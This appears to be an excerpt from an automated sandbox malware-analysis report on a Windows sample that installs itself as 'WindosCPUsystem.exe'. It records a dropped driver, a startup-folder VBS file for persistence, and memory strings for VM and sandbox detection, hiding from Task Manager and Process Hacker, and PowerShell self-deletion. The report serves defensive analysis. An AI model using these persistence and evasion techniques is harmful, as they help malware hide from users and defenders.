Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FEA955 push ebp; retf	2_2_00007FF848FEA958
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF848F39EEE push ss; iretd	9_2_00007FF848F39EFB
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF848F300BD pushad ; iretd	9_2_00007FF848F300C1
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF849026235 push ss; iretd	9_2_00007FF849026252
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF849020EDD pushad ; retf	9_2_00007FF849020F01
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF849026D95 push cs; iretd	9_2_00007FF849026DB2
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF84902584D pushfd ; retf	9_2_00007FF84902586A
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF849026899 push ss; iretd	9_2_00007FF84902689A

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

File created: C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	File created: C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe			Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEEM
Source: WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORER SBIEDLL.DLL!CUCKOOMON.DLL"WIN32_PROCESS.HANDLE='{0}'#PARENTPROCESSID
Source: explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXETORS
Source: file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORER SBIEDLL.DLL!CUCKOOMON.DLL"WIN32_PROCESS.HANDLE='{0}'#PARENTPROCESSID$CMD%SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE&VERSION'SERIALNUMBER)VMWARE\|VIRTUAL\|A M I\|XENSELECT FROM WIN32_COMPUTERSYSTEM+MANUFACTURER,MODEL-MICROSOFT\|VMWARE\|VIRTUAL.JOHN/ANNA0XXXXXXXXEPOWERSHELLVSTART-SLEEP -SECONDS 5; REMOVE-ITEM -PATH '
Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2236864354.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2238292077.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2236654935.000000000132C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "STEALTH-TARGETS": "TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE",
Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE@N0
